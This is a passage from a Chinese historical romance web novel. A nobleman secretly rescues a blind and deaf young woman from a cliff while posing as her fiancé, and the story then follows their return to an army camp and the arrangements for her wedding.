心中绷紧的一丝弦骤然松开,裴陆戟立马紧紧回抱住她,搂得很紧很紧,后怕道:“没事就好没事就好快吓死我!” 戚央央第一次被人抱得这么紧,紧得脑袋都被迫后仰着,只能伸手环住他脖子,借些力。 “沐大哥你把我抱得很紧啊”她有些羞涩地垂眸,窃喜道,“你是不是很担心我啊?” “我没事啦,没事的,我这么大的人了,又不是小孩子,一个人待一个地方还会怕吗?” 她安慰似的用手轻拍他,轻抚他,抚着抚着,突然发出惊叫: “你你怎么哭了?” 她那么一叫,裴陆戟赶紧松了手,把脸转过一旁。 良久后,才转过来,擦干了手抓过她手,在手心写道: ‘我帮你,上药。’ 戚央央轻点了点头,依偎在他身旁,由着他动作。 刚才与隼搏击的时候,大部分草药已经掉下去了,还剩少部分的根茎卡在他腰带上,方才上来的时候,又有一些草叶粘在他身上了,所以,凑一凑勉强还够用。 他将药草捣碎,呵暖了,轻轻涂抹在她伤处。 涂过草药的伤处,果真很快就开始愈合,不渗血了。 戚央央也乖得像一只鹿,窝在他怀里不动,乖乖地任由他上药,每次往她手心写‘疼不疼’,她都摇头。 等终于敷完了所有伤,戚央央抓着他的手道:“沐大哥,伤口上完药,我不疼了,真的。” “所以,你别难过了好吗?” 她声音轻轻柔柔的,像羽毛在挠耳廓。 以前她喜欢自己时,似乎也没有这般说过话,轻轻的,说着说着还会脸红。 这一刻,他突然有些替她庆幸,幸亏她找的人不是自己。 如果她如今还是喜欢自己的话,她大概没有现在这般轻松随意。 他只会是一个不断给身边至亲带来不幸的人,她跟着自己,不会幸福的。 得悉到这一点之后,他似乎整个人都放轻松了,但同时,内心有种被撕裂般的痛楚,似乎越来越明显了。 是啊十年现在已经快十一年了吧,十一年前,当他得知甄氏那边有个小表妹要过来时,他本是没什么感觉的,权当是府上养了只猫猫狗狗,跟他没多大关系。 可后来,戚家小表妹来到的那个晚上,他于翰林院下值归来,在廊下走过,光影斑斓处,看见一抹纤细的身影在那走着。 她那一双澄澈到能映出山花烂漫的眼睛,他一眼就认得了。 可她似乎并不认得他是谁,盯着他看的眼神,只是同旁人一样,充满了惊艳和好奇罢了。 当她的视线下移,看见什么东西之后,蓦然之间,她眼睛映照出几分怜悯和愧疚,像是认得,又不像认得他。 向来不喜欢给自己什么希望的,裴陆戟没多久,就把那个念头从自己脑海摒弃。 当年羌北那个活死人墓里,一天死那么多人,她不可能是她。 更何况,当时他从石棺出来的时候,早在墓穴壁下的尸堆里,看见了那一只瘦瘦小小戴着兰花手串的小手 只是有些人,有些情,尽管当时人不知道,随着时间推移,该满溢的东西,还是会满溢。 戚央央光带着那份怜悯和愧疚,外加两分皮相的喜欢,就敢追逐他满京城转。 时下人人都瞧不起她,说她是痴女,行举下作至极。 他第一次尝到愤怒难抑的感觉,私下将那些诋毁她的劣童的父兄背后做的事都查出来,查出有亏私德,或是做过不臣之事的,就悄悄借太子之手将其揪出,那些并无做过阴私事的,就将家中劣童劣迹编写成册,交予他们的父兄,由他们父兄来惩戒。 他印象最深刻,那会京中有一家名为一砚堂的书斋,旁边的茶肆曾有个很受欢迎的说书先生。 有次他路过那家一砚堂书斋,想寻几本简单的字帖回去带给戚央央练,就恰巧听见那说书先生在旁边绘声绘色地说着有意丑化英国公府戚氏的故事。 甚至乎,他光顾的那家一砚堂,就卖着那位说书先生每次说过的话本。 那位一砚堂书斋的掌柜告诉他,戚氏女的故事已经火遍京城的每一条街,京城人大多将她的事迹当成笑料一样来传播,这些加印的话本已经快卖得比其他书籍好了。 当时他也是怒不可遏,回去就立马着手调查这一砚堂掌柜和这位说书先生的底细。 说书先生在成名说书以前,是位抛妻弃子诱骗富家女的情场老手,而一砚堂书斋的掌柜,则私售过各类禁`书。 没多久,太子殿下出手,查封了一砚堂。 那位说书先生没多久也被爆出丑闻,来源是隔壁敬亭街的另外一位说书先生将他的那段丑闻绘声绘色编成话本,本来对他芳心暗许的富家女得悉后毅然同他断绝往来。 后来,敬亭街那边大肆传出加印再加印的关于他的丑闻话本,京城上下便无人不知,曾经一砚堂书斋旁茶肆的那位很有名气的说书先生,竟是个抛妻弃子的畜生。 他很快在京城待不下去,去了相邻的锦州,谁知一到锦州,锦州人一下就认得他是谁,连街头巷尾的孩童都认得他,指着他骂他是畜生。 之后他不管辗转到哪一个州,哪一个县,相同的情况都会出现。 没多久他就疯了,后来暗卫回来回禀的时候,那人已经经受不住刺激,抱大石投淮胡江去了。 他做过的那些事,他都小心翼翼地,唯恐被她知道。 因为这些事以她的目光看来,行事实在不怎么光彩。 那时候京中大多数人都说她配不上他,尽管有时候他气恼她看着他像是透过他在看另外的人,也会口出伤人之话,说她不配,但他心中其实是知道,自己配不上她的。 戚央央行事光明,纯善至极,像一道光一样,永远蕴含着光和热,而他不过是穿着华丽,生活在锦绣堆中的阴沟害虫。 年少侥幸被一道光所眷顾,可他那时懵懂、无知,不分本末,错将那道光伤害,让本来有机会抓住光的他,又重回到阴沟中。 怎么能不让他悔恨、疼痛呢? ‘你别怕,我一定,会让你重新听见、重新看见的。’ 他颤抖着手指,一笔一划在她手心里这么写着。 戚央央倚在他怀里笑开了,笑得那样信任。 他胸口一时热意涌动,忍不住想再抱抱她,却想到她那几次对他的抵触,生生克制住了。 戚央央手搭在他膝盖上,摸着摸着,突然惊叫了一声, “你这些是血吗?天哪!你伤得很重!怎么不告诉我?” 她急了。 “那些草药呢?你快些给自己敷些药啊” “是不是不够?不够的话”她睁着一双看不见的美眸,于虚无中茫然四顾,随后扬起她小臂处覆着草药的位置,小心地解下布条。 “你想做什么?”裴陆戟紧张地抓住她臂膀,制止她。 可戚央央却并听不见他的声音,一意孤行用手摸索着他的伤口。 裴陆戟想避开她的触碰,旋过身,但她扑了个空,眼见着脸上委屈得表情都快溢出,他又坐回去,主动拿她手去碰那些伤口。 戚央央的手指上沾了沙砾,她本没想过要直接碰他伤口的,可谁知他却突然抓着她的手去碰,还直接都往伤口正中去,她指头上的沙砾便都碰到了他伤口上。 她能感受到他因为吃痛而收缩的反应。 她惊呼道:“不是你怎么那么用力,你你不疼吗?” 眼睛看不见,她无法帮他清掉他伤口上被她沾上的沙砾,只能弯下身子替他吹拂。 暖融的带着馨甜气息的风吹拂过他的伤口,那处尽然伤痕累累,赫目惊心,却再也感觉不到疼了,像被什么甜蜜陷阱诱惑了,惑人心神,让一切痛楚都暂时被麻痹住一样。 随后,她将敷在自己手臂上的药,分了一半糊在他伤口。 她明明都看不见,却执拗地要求自己每一处都抹匀,当她触碰到某些深得皮肉外翻的地方时,手指一缩,口中不断说着“对不起”眼泪还一个劲地流。 裴陆戟终于忍不了了。 央央像被一袭清凉的风带走似的,手上分出来捏在指间的药掉了,她整个人被人牢牢抱紧在怀中,伤药糊了一身,那人把她抱得很紧很紧。 若事后被她知晓,她想杀了他都行 只是现在,姑且就让他像这样,暂时沉溺在这偷来的每一刻中吧。 第59章 他颤抖着手,不敢再碰触她了…… 悬崖上方的人已经做好了各种坏的打算。 沐江恩带着人, 到崖下找了很久,什么也没发现。 “刚才我们很快就来到崖下,再怎么样, 也该找到世子才是” 他带着人看着悬崖分析道:“若连世子都找不到,很有可能他们就被羁绊在这半道上, 我们从这些藤蔓爬上去找找看。” 入夜, 崖边的风比其他地方的风都要冷上许多。 戚央央已经窝在裴陆戟怀里睡着了。 裴陆戟一边用手探着她的脉息, 一边试图分析她这突发性的看不见、听不见, 是因何缘故导致。 京城第一公子博闻强识,涉历范围甚广, 即便没深入研究过,一些入门基本的医还是懂得的。 当他诊脉诊出她心脉某处有些淤堵, 再细细探之下,发现这些淤堵也并非一朝一夕, 而是经年累月形成之时, 他心中恍然惊悟, 心头便像被撕开层皮肉, 再次遭受血肉淋漓的疼一般。 他颤抖着手,默默放好她的手, 将她身上加盖的衣袍往上拉了拉,轻轻将她平放在地上, 不敢再碰触她了。 暗夜里,他只有一颗散发出幽幽荧光的石头,在漆暗里慰藉心灵。 他轻轻将萤石收好, 遮盖住光,默默一个人抵住洞壁乱石,泣痛失声。 一朝醒来, 戚央央睡了个很舒服的觉,醒来觉得胸腔的地方,某个一直以来隐隐觉得闷抑的地方,仿佛在慢慢消融一般。 “沐大哥,沐大哥!”她又用手四下摸寻起来。 裴陆戟用树叶接了些露水,抓过她手臂,放置在她双手间。 戚央央喝了一口,很清甜,她笑着将剩下的一半递到对面,“沐大哥,你也喝。” ‘你喝,我不渴。’ 他在她手心写下这些字,碾碎了手边的花心,滴出花蜜,掺到剩余的露水中,移到她嘴边让她喝。 戚央央喝完嘴边都是甜的,心情更加松开了,“好甜啊,你加了花蜜吗?” “你怎么知道,我小时候每次生病,兄长都会去给我采花蜜喝呢?” ‘因为,那时候起,我就留意你。’他在她手心写道。 央央害羞低着头地笑了。 裴陆戟又将悬崖边采到的野果,去了核拿到她面前,放在她手心。 “这些是”她皱了皱眉,用指腹细细摩挲,“是,是雀红果吗?” 看着她惊喜的样子,他默默缩起那条被藤刺刺得又渗出血的腿,也露出了笑。 早上有阳光透过山洞口的时候,他见她未醒,就想着去洞外峭壁上看看有没能果腹的东西,崖壁陡峭,他只能小心翼翼攀着光`裸岩石处过去,随后就凑巧找到了一片长着红殷雀红果的地方。 这长着雀红果的地方,也长着一些有倒刺的山藤,一路爬过去采摘的时候,他不慎被刺中伤口,疼得发麻,差点就从悬崖边上摔下去,怀里摘好的果子也掉下去一些。 他记得,他在彭州城的时候,曾购买了一幅杨怀义老先生的老画作,画作是十几年前老先生给一位边将的一家人画的画,在画中,那位大将把一小小姑娘托举坐在自己肩膀,那位小小姑娘笑得很开心,稚嫩的双手高捧一小撮殷红的果,瞧着就跟这雀红果一样的。 “这种雀红果就是长在悬崖峭壁上的,在我很小的时候,爹爹和兄长们在一次战役中要将敌人围困,他们也被迫在悬崖下守了几天,那会粮食不够,看见悬崖上方长了这些果子,就带领将士去摘下。” “他们尝过之后,惊为天人,爹爹和哥哥们都想着留一些带回来让我尝尝,自己都舍不得吃几个,只是后来看将士们口粮不足,哥哥们留的那些都给将士吃了,只有爹爹留下一小撮带回来。” 戚央央捧着手上的那些野果,长睫微颤着垂下,吸了吸鼻子笑道:“其实,其实这些果子尝起来有点酸涩,根本就没有普通野果好吃,就是当时爹爹和哥哥他们困在那里太久了,饿坏了,才会觉得它滋味很好。” 见她突然哭了,裴陆戟眉头紧皱,慌忙将野果从她手上拨掉,央央急得立马喊住他道:“你!你干什么呀我没说它不好呀” “这些果子虽然入口那会有点酸涩,但却是我吃过所有好吃的东西中,最爱吃的,因为它们有爹爹哥哥们的味道呀!你快点、快点找回来” 央央哭着。 于是,那向来面对诡谲政局都是游刃有余,纵横捭阖的裴大人,第一次忙乱得像毛头小子。 急急地又去将地上弄脏了的果儿,一颗颗捡回,细细揩拭上头的泥沙,又用自己未曾被血染污的里衣擦拭完,方才放入她手中。 戚央央捧着颗颗冰凉圆润的野果,边哭边笑,高兴不已。 原来那幅画中,画的是玄正十七年,戚将军围剿龙武山,乘胜归来与妻女团聚的凯旋图。 ‘你要是喜欢,以后我再给你摘,好吗?’ 他在她手心这么写道。 “不”央央慌忙摇头,“这些果子生长的地方太危险了,我不想沐大哥犯险” ‘好,那沐大哥就不犯险。’他眼神紧紧盯着她,又在她手心承诺道。 “嗯”她又高兴地擦干泪水笑了。 她的笑容太好看,崖洞边有一束曦光透进来,正好就落在她唇边,他看得有些着迷了。 原来,将一束光捧在手上是这种感觉,原来,对一个人好,也可以放在明面上,并没有那么难 可惜他领悟得太晚了。 裴陆戟再次拿过她手腕,细细地帮她诊脉,发现她心脉处的淤堵已经有消融之象,他大为宽慰。 “沐大哥,这已经是你第四次救我了。” “第一次就是在羌北,第二次是在囚车上,第三次是我被军营的人抓住要献去当军`妓,第四次是现在。” “沐大哥,我欠你的恩情还不清了” 姑娘红着脸低眸,对心上人诉说着衷情。 “那个昨日我临走时不是给了你一块糖吗?你尝过没有?” 裴陆戟愣住,随后在她手心写着: ‘尝了,味道很好。’ 央央笑开,“那是我用枣肉和花生泥做的,那以后” “以后我只为你一人做这种糖,好好不好?” 她因为紧张,说出的话有些磕巴。 红枣和花生那是成亲要用的吉祥果。 裴陆戟目光黯然下来,心脏有一下没一下地跳着,四肢变得冰凉没有知觉,神思恍惚,失魂落魄地继续听着她在这里透过他,对另外的男人求亲。 大概是等了许久都没得到回应,央央开始慌了,四下摸索道:“沐大哥?你还在吗?” 裴陆戟立马把手递过去让她抓住。 在碰触到他手的那刻,戚央央惊道:“沐大哥,你的手好冰啊!你是不是伤势变严重了??” 裴陆戟低头看了看自己身上所受的那些皮肉伤,似乎都不及某处的伤。 “沐大哥沐大哥你告诉我,告诉我呀你现在到底怎么了?” 戚央央因为看不见,着急地哭了。 裴陆戟知道自己不能再消沉下去,那样只会让她误会,害她担心,尤其她现在什么都听不见,什么都看不着,最没有安全感。 说好了要暂时扮演她的心上人,那就要做到、并且做好。 他咬咬牙,搓热了指尖拉过她的手,但还是在她手心写字的时候,忍不住轻颤。 ‘我没事,是太高兴了,不知道怎么反应。’ 戚央央笑了,随后又皱眉,“可是你的手好凉啊,为什么还有点发抖?你是不是不舒服?” 裴陆戟感觉自己心脏都碎成小块了,却还要忍痛故作轻松地写道: ‘昨夜,冷到了,小风寒不碍事。’ 他写完,怀里立马就钻进了一个软软热热的姑娘,她抱着他,用脸蹭着他,试图让他身体暖和起来道: “都说了让你别把衣裳都给我盖,这下好了吧?” 裴陆戟被她这样抱着,下意识就是想掙开她逃走,但又想到,此时的她只是把他当成了是他,便又只好任由她抱着了。 从他领悟到她只是把他错认了十年起,从他知道她寻到了正确的人开始,他就料到会有这样一日,但直面时,还是难免有些承受不起。 他们坠崖已经一天一夜了,裴陆戟料想着,沐江恩必定会先带人到崖下找,要是崖下都找不到人,他定然会看到崖壁那些生长过分茂密的枝叶,届时便会命人沿着下方爬上去看看。 只是这悬崖高耸陡峭,他和戚央央被困的这个地方,刚好有些尴尬,是属于不管人从上面下来营救,还是从下面爬上去营救,都会耗尽体力难以继续搜寻的位置。 他必须带着她自救,带她往下方去,只要再靠近下面一些,就有机会被人寻到。 昨日从上方摔下之时,他身上本就受了些伤,跟鹰隼搏斗又受了一些,早上去摘野果时,又被刺伤,伤口疼痛难忍。 如果此时还强行背着她下崖,怕是有些勉强。 但被困在此处,食物短缺,她的状况又不明,若继续耽误病情下去,他也不知道会演化成如何。 双腿的伤疼,再忍忍便是了。 于是,他毅然从身上撕开布条捆住双腿,再撕出一些头尾相绑,形成长长的绳子,将头端系在山洞里的一块大岩石上,另外一端,牢牢地绑在央央腰间。 背上戚央央下崖之前,他在她手心写着:‘你可相信我?’ 央央点头如捣道:“信的,我自然信沐大哥的。” 裴陆戟再写道:‘紧紧搂着我,不要怕。’ 第60章 他一定能带她平安回去!…… ‘我一定, 能带你平安回去。’ 他写道。 戚央央便伏紧他后背,双臂绕缠他,“好, 回去了我们就成亲。” 裴陆戟背起她,沿着一望无尽的苍翠深渊, 一步一步往下探去。 日头已经高起, 那些凝结在山岩上的血迹也已经干涸。 他能感受到, 伏在他后背的女子, 手臂正一点一点变松。 “坚持住”他只能用脸颊蹭一蹭她,以提醒她坚持。 他明白悬崖一路往下, 这条道有多艰难,而且, 他低估了这悬崖的深度,随着再往下, 能放下的绳子已经不足了。 戚央央被提醒过后, 立马用尽了最后几分力, 圈住他。 “我我相信, 我们一定一定能平安回去。” 她的声音不由自主地发颤。 他知道,她现在什么也听不见、看不见, 从昨天到现在,只吃一些野果入腹, 在体力渐渐不支的情况下,坚持到现在,心中肯定是越来越害怕的。 而更可怕的是, 这里距离悬崖底下,依然深不可测,在前看不到头, 后看不着陆的情况下,他只能选择继续往下,而要继续往下的话,系在戚央央身上的布带绳,就必须要解了。 时间容不得他再多犹豫一分,他知道两个人的体力都有些不支了,只能尽快做出决定。 “戚央央,你争点气”他回过头看着不言语的她,道:“只要你坚持住了回去我就替你俩完婚” “你定要争气些”他哑声。 随后,那根连接着石窟岩石的布带,被他毅然扯断,把另一头绑在了自己腰间。 现在,她的安危便与他休戚相关了,他绝对不能不能输! 额上泌出的汗水模糊了眼睛,手臂的力气也有些不足了,他只能用脚尖轻勾着侧面的岩石,稍作停顿,迅速抓了些崖边的草根嚼碎入腹,以供体力。 等他恢复些气力,也腾出一只手臂来,想托起背部的人,也让她歇歇手,却在这时,她没坚持住,失手滑落。 “戚央央!!” 布绳一下拽着她往下坠,在半空旋了几圈。 裴陆戟单手攀住悬崖,腾出一手来拼命拉绳,没多久便将她拉了上来。 央央吓得眼眶都红了,却为了不让他担心,愣是一滴泪也不敢流。 “没事,别怕” 他只能用脸一蹭她,安抚她情绪。 崖边山风猎猎,刮得人心中惶惧,戚央央用力抱紧他,将头埋进他肩膀,不言语。 之后,裴陆戟每往下一段距离,就会暂且停下,用手臂托着她,让她歇息一会,再继续往下。 可这么一来,他需要耗费的气力和时间更多、更长了。 “来,这儿也有雀红果” 不知已经往下爬了多久,他又发现一片殷红的雀红果,笑着给她摘了一串,伸到后方喂她吃。 可戚央央还没吃几口,他突然眼前发黑,抓在石缝间的手也有些使不上力。 脚下一滑,一踉跄,差点摔下悬崖。 幸好当时旁边就有一些虬结的老树枝,他一把抓住树枝,才稳住了。 “是不是饿得没力了?你自己花的力气最多,就别管我,自己吃了再说呀笨蛋!” 戚央央摘下果儿让他也吃下一些,嗔怪道。 二人继续往下。 越往下,崖面越没那么陡了,但裴陆戟的气力也将近耗光,恰在这时,他听见有人在喊“小央”的声音。 他立马朝下声嘶道:“我们在此!!快来!!” 声音在山涧回响,很快就捕捉到他们所在准确位置。 沐江恩领着士兵终于爬上来了。 他随身带着两把剑,攀爬累了之时,就能以剑插进岩缝,稍作歇息,体力看起来倒是还好。 等听见他呼叫,他便一马当先,没多久就爬上来。 “小央!世子!” 他见到二人时,裴陆戟看起来惨极了,脸色煞白得厉害,汗水打湿透全身,双腿用布条紧缠着的地方,也渗出了血水。 裴陆戟将身上背着的人挪到他背上之后,一时失力,整个人后仰着往下坠。 事情就发生在一瞬间。 沐江恩捞他不及,只能眼巴巴看着他在自己身旁石头一般闷声坠下。 “世子——!!” 下方的人听见动静,也相当着急。 沐江恩背着央央,立马朝下大喊着,“众人传令!世子摔下去了!让下面的人赶快搜寻!快啊————!!!” · 戚央央体力不足昏倒,等她醒来的时候,眼前隐隐约约已经能捕捉到光了,耳朵旁也听见沐江恩呼唤她的声音。 “小央!小央” 她把眼睛睁开,果然看见沐江恩就坐在她身旁,紧张地喊着她。 她一把抱过去,流泪道:“沐大哥沐大哥我能看见了能看见了,也能” “能听见你叫我的名字了”她哽咽道。 沐江恩轻拍着她后背安抚,道:“大夫过来给你施过针了,别怕,大夫说了,只是你从悬崖摔下去时,一时的心火亢盛导致阴阳失衡,气血不畅,从而气滞血瘀所引起的,施针之后便立马好转了。” 戚央央记得,先前沐大哥在石洞找到她时,就是这么在她手上写的。 她用崇拜的眼神看他道:“沐大哥,你真厉害!” 沐江恩有些莫名,但只是笑笑,给她掖好被角,“你再歇会。” “可我现在不想闭上眼睛,一闭上眼睛,就很害怕看不见你,”她自然地挽起他手,“我想要你陪着我。” 沐江恩看着她挽紧自己的手,愣了愣,然后替她捋了捋鬓发,温柔道:“好。” “粥一会熬好,我让人端进来,你喝点粥再吃药。” 戚央央腻在沐江恩旁边,直到把粥喝完。 等药来了的时候,央央闻着那药呛人的味道,差些没把山崖上吃的野果都吐出。 “要乖乖把药喝完才能好。”沐江恩像哄闺女似的。 央央只好听话端起药碗,一口气闷下。 可药的味道实在让人难以恭维,她喝完的那一瞬,就差点吐了。 沐江恩及时把一颗软糯带着枣和花生清甜味道的糖,放在她嘴里。 “吃颗糖,该好一些吧?”他道。 央央尝着这味道,跟她昨日塞他手上的那颗很像,便问:“这糖哪里来的?” 沐江恩笑着揉她额发道:“自己做的糖都忘了?你昨日给我的。” “我我昨日给你?”戚央央奇道:“可你不是说你吃了吗?” “你给我的糖,我何时舍得那么快吃了?”沐江恩道。 “可明明” “好啦,现在药吃完,总该好好睡一下了,你眼睛不是还有点模糊吗?快点休息一下,不然好得慢。” 沐江恩打断她,不许她拒绝道。 戚央央只好躺下,由着他给自己盖被子。 她想着大概是自己现在太累,记忆有些错乱了,等睡醒之后,再想便是。 临睡着前,她依然抓着他的手,喃喃说了一声:“等我们成了亲,我天天给你做做糖吃” “成亲?”沐江恩有些惊喜,还想追问,但她已经睡着了。 她睡着,他就该去看看,那位世子伤的情况了。 刚才在悬崖上,裴陆戟将背上的姑娘托付完之后,他自己的体力早已经透支完了,一松懈,人就直直地摔了下去。 本以为必死无疑,幸好下方刚好就长着一片崖柏,人被挂在了树上,安然无恙。 他从营帐走出去的时候,刚好也遇见裴陆戟身上缠满纱带,手撑着剑朝他走来。 “世子你腿受伤了,怎么不在自己营中歇着?” 经将士后来据世子口述的那个石窟外长了一棵虬结的老榕来看,世子背着戚央央所爬下来的那段路,远远超过了他和将士们爬上去的。 很难想象他在受了伤的情况下,是如何强撑着逼迫自己背着个人,爬那么长一段路。 不过,要不是他背小央走了那段路,他们一丛人可能根本就找不到她,就被迫不得不在中途放弃了。 “戚央央她如何了?”他挣起来拄着剑走到这里,却只为问一句这个。 “她睡了,世子放心吧,大夫说,幸好治疗及时,她看和听应该都没大碍了,只是看东西还是有点点模糊,加以时日调养,能养好的。” “世子,我有疑问刚才回来时,你为何让我不要说出是你救了小央?” 裴陆戟眼神黯了黯,长睫低垂,轻颤了一下,道:“因为她厌恶我。” “若是让她知道”他顿了顿,想起那次她得知他中箭救了她之后,那种抗拒至满溢的抵触,最后还恨不得赶紧逃离,让他永远找不着。 “总之,必须保密。” 一觉醒来后,戚央央觉得身上的伤都不怎么疼了,精神也好了很多,但想起睡觉之前,沐大哥忘记自己在石窟骗她说吃了糖的事,还是有些介怀。 恰在此时,沐江恩端了可口的早膳进来。 是央央最爱吃的甜糕和白粥。 “小央,今日有香蕉甜糕,待会你喝了粥吃完药才能吃哦。” 沐江恩笑着朝她过来道。 戚央央惊喜:“军营怎么会做这种糕?” 他一早想好说辞:“你在军营卖点心大卖的事不知怎么被外面的人知道了,今日一早就有人挑了些甜糕来军营外边卖,被驱赶前,正好被我看见,就买了些。” 央央捧着那块糕,心情愉悦,“生意本来就这样,好卖了之后,自然会有人闻见风声过来抢着做的,不过我得了军眷身份可以留在军营里的便宜,倒是比外边的人做起这生意来有利许多。” “哦,对了,昨日” “昨日我在你看不见的时候,骗你说把糖吃了,是怕你恼我没立刻尝你手艺,怕你生气之下,身体情况会变坏,你不会怪我吧?” 戚央央一愣,心想果然是这样,心结打开,她又笑得高兴道:“我哪是这么小气之人哪。” “其实,昨天我见你好像都想不起来自己在山洞说过的话,就有点有点有点担心” 她揪着手指,越说,头越垂下。 “你是担心,我会忘了在石窟里,说好要跟你成亲的事吗?” 沐江恩笑得温柔道。 60-70 第61章 他负着手,傲岸凌人 听了他如此直接的话, 戚央央一下子烧红了脸,用被子将自己闷头埋在里头。 “小央,小央你怎么了?是在害羞吗?”沐江恩笑着过来扯她被子。 戚央央笑骂着拿褥子打他, 沐江恩笑着挨下。 出了帐子,来到裴陆戟的营帐中, 帐子里充满了苦涩的药味, 跟央央那边淡淡的苦中带有甜味截然不同。 “世子”他行礼道。 “那颗糖的事解释过了吗?” 裴陆戟赤着胳膊在给自己换药, 露出臂膀和腰腹上流畅有力的肌肉线条, 肌肉不算太厚,却极富力量感和匀称的美态。 黑糊糊的药碗就搁在案上, 间或飘来一阵难闻的气味。 “嗯,解释过了, 是按世子说的,趁她主动提的时候再说的, 还算自然, 她没有察觉不对。” 沐江恩默了默, 才道:“谢谢世子成全我和小央的亲事。” 裴陆戟上药的手顿住, 良久,才又继续抹药道:“又不是我不成全, 你们就不成亲了” “但是,我没想过, 世子会在石窟里,用我的身份答应她。”沐江恩道,“世子当时难道不难受吗?” 没等到他回应, 他又识趣地立马道:“那个时候,想必小央她很害怕很没安全感是吧?所以世子才会宁愿难受,也要装成是我去宽慰她, 沐某就先谢谢世子了。” “对了,世子在悬崖石窟跟小央说过的话,我都已经记得很熟了,”他从怀里掏出一个本子,“为了避免穿帮,这个本子我就替世子烧了吧。” “至于世子提到的那些医籍,我也会一一拜读的,世子放心吧,我会尽力隐瞒,不会让她知道的。” 沐江恩像一个宽容大度的大丈夫,在他面前,裴陆戟那点见不得光的爱意,也被他大度地包涵了。 裴陆戟看着他离去的背影,自嘲地只想笑。 没想到,自己向来不屑感情,自诩清高,有一日,也会为了一个人,扒光了所有保护自己的刺,卑微地伪装起来甘做替身。 而偏偏,为了他剩余的那点可怜的自尊,为了不让她知道,还不得不把自己做过替身之事的细节,如此明明白白都告之正主,承受他目光的审视 · 戚央央本来所受也只是些皮外伤,近几日,沐江恩被批了假,整日留在营中照顾她,逗她开心,没多久已经康复得差不多了。 “小央你过来,我再替你探探脉。”沐江恩朝她招手。 戚央央乖顺地靠过来。 “你这脉象越发平稳了,身体应是很快能好。” 沐江恩笑道。 戚央央心生崇拜,道:“沐大哥,你从悬崖上开始,就三不五时地给我探脉,真没想到,你竟然也读过医籍啊。” 他略显心虚地笑笑:“常年在军营嘛,受伤难免,学点皮毛,小问题就可以自己处了。” “在悬崖之时,我什么都看不见,也听不见,刚开始感觉到有人来的时候,其实我也不知道是谁,但我知道他们去找你了,你也一定能找到我的,我叫了你,然后你就回应我了,” 央央回忆道,“从那时开始,我就觉得,很安心,很安定,当时我心里想,你真的来了,你真的找到我,救我来了” “对了,那山崖那么高,你是怎么找到那个石窟的呢?”她问。 “我看见崖边有你脚印的血迹,”沐江恩回答很快,很熟稔道:“我是根据你脚印的位置,估测着你当时的处境,和怎么坠下去的,还有坠下去之后,反应都是怎样的,我看见被你抓过的树枝,然后垂挂到树枝上没多久,就发现了石窟。” 戚央央听得很是心惊胆寒,立马抱住了他道:“这件事光听你叙说都感觉很可怕你、你当时怎么敢啊?要是跳下去摔死了怎么办?我可不要你为我冒险,以后以后可不许这样了” 被她抱得紧紧的沐江恩,叹息一口气:“是啊,是怎么敢这样的啊” 他看着戚央央,有些话已经快到嘴边了,可一看见裴陆戟从校场那边过来,看着他警示的眼神,他还是把话咽下去。 “沐大哥,所以所以我从悬崖的时候就决定,此生只会认定你,能嫁你,我此生无憾了。” 央央看着他,泪水又涌了出来,“你知道吗?你让我相信你,说一定带我平安回去,我心里一直是信任的。” “在悬崖上的时候,全靠你一直用脸蹭我,鼓励我,让我在虚无中,不再是一无所知的惶恐,我才能一直坚持下去。” “虽然后面我实在没力,松手了,但我也不曾害怕,我相信相信你一定不会让我死” 戚央央哭着扑过去用脸蹭了蹭沐江恩的下巴,又将他抱得死紧死紧。 裴陆戟赶紧移开目光,头也不回进了营帐。 士兵将崖下搜寻到的鹰隼尸体放在了他的案上,他心烦意乱地把隼错认道:“不是还没择好日子吗??这么快把大雁备好做什么??” 来送鹰隼尸首的小卒愣了愣,忙跪下道:“回禀大司马,这些是你要找的鹰隼尸首,有些是崖底下找的,有些则挂在半悬崖处” 裴陆戟自知认错,也毫无错认的羞色,目光狠戾地瞪着小兵,直把小兵瞪得心惊肉跳。 细细检查过这些鹰隼,确实就是在悬崖处攻击他,与他搏击过一场的鹰隼。 “这个地方,隼的数量竟如此之多,想必在附近,必定有人在喂养着这些隼” 他在帐中分析着的时候,帐外许多士兵在给沐将军和他的伴侣送上祝福,大家都在祝这对神仙眷属百年好合,琴瑟和鸣,笑声盎然。 他拳头握紧了,又松开,拿起案上的鹰隼尸首细细检查,“这两只隼并非死于搏击,它们血液呈现黑色,应该是” “沐将军,你们要成亲,可我们这里还需要你看顾着,暂时不能让你离开,只能委屈你俩在军营里成亲了。” 这时,宋敞也过来了,就站在裴陆戟的营帐外,给准备成亲的小两口送上祝福。 “这是本将给沐将军和戚姑娘送上的新婚礼,之前戚姑娘和我们军营中人有些误会,本将也已经严惩过那些人了,希望戚姑娘不要介意,能收下本将所赠之礼。” 戚央央看着宋敞送上的新婚礼,竟然是一支纯金的花枝步摇。 这支步摇足金打造,光是造价就不菲,一看就知道是出自一流工匠之手。 这么名贵的步摇,肯定不可能出自区区一边将将军宋敞之手。 至于背后把这步摇赠她之人,不用说就知道了。 “那本将就替内子,谢过丞相美意。”沐江恩把戚央央护在身后,上前一步替她接过道。 宋敞笑了笑,“你和戚姑娘是大喜之事,竟然在我们军营办婚事,那就得办得风风光光,丁点马虎不得。” “你可是我们丞相大人,专程请过来的能将啊。”他拍了拍沐江恩的肩膀道。 “宋将军过誉了。” 宋敞让士兵们休息一天,前往这边的空地排着队给二人送上礼金。 那些出身世家的士兵还好,一出手就能掏出上两的银子,可那些平头老百姓出身的,平常俸禄能剩下一些自己改善伙食用,已经很好了。 宋敞站在队伍后,一眼看见一位小兵把钱袋子翻遍,却只能翻出十几枚铜板,他出声呵斥道:“沐将军大婚,你便只送十几文礼金?你将沐将军的威仪,置于何地??” “所有人听令,今日大家给的礼金,不得低于一两,低于这个数的,少一文赏一军杖。” “来人,把这小兵给本将押下去打。” 宋敞话一落,那名小兵当场吓得脸青,跪地不断地求饶。 沐江恩和戚央央在前方听着,也不禁眉头紧锁。 央央忍不住想上前替小兵说话,却被沐江恩拉住,对她一摇头。 她暂且忍住,退了回去。 可当她听见不远处,小兵被军杖打得撕心哀嚎的声音,还是忍不住冲了出去:“住手!!不许打!!” 行军杖的人停下,犹豫地看着宋敞。 “宋将军,在我们家乡,成亲请乡亲喝喜宴,乡亲们送的礼金,向来是根据自身情况,随心意给的,倘若有人家境困难,不给或者赠送家里采摘的野菜蕈子之类的,也是常有的,成亲讲求一个喜字,大家都喜喜乐乐的,意头才好,怎么能要求别人一定要给多少礼金,给不够就惩罚呢?” 戚央央心头一热,豁出去道。 